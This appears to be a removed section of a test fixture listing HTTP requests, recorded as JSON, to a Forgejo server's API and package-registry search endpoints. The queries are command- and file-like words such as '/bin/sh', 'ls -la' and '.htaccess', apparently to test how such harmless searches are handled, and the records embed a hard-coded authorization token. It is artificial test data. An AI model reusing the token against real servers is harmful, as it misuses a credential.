-{"method": "GET", "target": "/api/v1/packages/alice?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/packages/alice?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/packages/alice?q=install-script", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/packages/alice?q=%40alice%2Ftools-cli", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/topics/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/topics/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/topics/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/topics/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/topics/search?q=docker", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=developers", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/admin/emails/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/admin/emails/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/admin/emails/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/admin/emails/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/admin/emails/search?q=alice", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/admin/unadopted?query=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/admin/unadopted?query=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/admin/unadopted?query=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/admin/unadopted?query=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/admin/unadopted?query=alice%2Fpython3-app", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/admin/unadopted?query=alice%2Flegacy-site", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=v1.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-# The package registries' searches, sent to Forgejo 17.0.1 by each registry's
-# own client: npm, composer, conan 2 and 1, cargo, dotnet and knife. curl sent
-# the requests no client sends: the Chef cookbook list with a search, and
-# NuGet's Packages() with the search in $filter, as NuGet's client builds it for
-# a feed without Search(). curl also sent each NuGet Search() and Packages()
-# search to Search()/$count and Packages()/$count, which count its results. Each
-# searches for words that name commands and files, such as python3 and
-# .htaccess, and for plain words. A Composer, Conan or npm name can hold a
-# slash, so those searches are also sent /bin/sh.
-{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=python3&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=powershell&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=ls+-la&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=.htaccess&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=%2Fbin%2Fsh&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=%40alice%2Ftools-cli&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=docker-compose.yml&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=tools&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=python3&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=powershell&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=ls+-la&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=.htaccess&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=%2Fbin%2Fsh&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=alice%2Ftools-cli&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=docker-compose.yml&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=tools&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=python3", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=powershell", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=ls+-la", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=tools%2F%2A", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=tools%2F1.0%40alice%2Fstable", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=tools", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=python3", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=powershell", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=ls+-la", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=tools%2F%2A", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=tools", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=python3&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=powershell&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=ls%20%2Dla&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=%2Ehtaccess&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=docker%2Dcompose%2Eyml&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=tools&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/query?q=python3&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: bc433449-14e0-4cb0-907b-fcca1ead302b", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/query?q=powershell&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: e691cf8b-1859-45b1-aa67-e0987eb7474a", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/query?q=ls%20-la&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: 725a8ab1-a2c3-4924-84dd-a741bd6b8c07", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/query?q=.htaccess&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: 5b1d333f-6583-4f78-9c23-d776ebbde5cf", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/query?q=docker-compose.yml&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: 23a81a25-0828-4311-8d2d-66f0d5161b6b", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/query?q=tools&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: ebf39a79-969d-4ac5-b5a0-5119c2d43ccc", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: 825cbe04-63e7-414a-8394-2ecf74c68211", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: f61bfff6-1c26-4024-bc17-6b78dcef2edc", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: e894f984-8abf-4a23-960a-d1a09c94eaa3", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: 33e3aa1b-14cb-4854-821a-c3eb9e5be7ee", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: c478a564-7cf9-4282-9f00-bf5b7966607d", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: 8dfa5583-4005-4134-9343-ddb4c68c125b", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=python3&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: e7210054-9f40-4a58-8228-beeab1e3bb05", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=powershell&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: 0f3b26a8-7ca2-4b52-a9bb-c23a25c4172c", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=ls%20-la&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: d0fa60d5-6948-4149-845f-e38d340cc09a", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=.htaccess&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: 8c22d5d2-1691-4488-89ca-a405dd7a15cc", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=docker-compose.yml&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: 0a1bd4b1-0009-4d1d-931d-d1c19b26dd8b", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
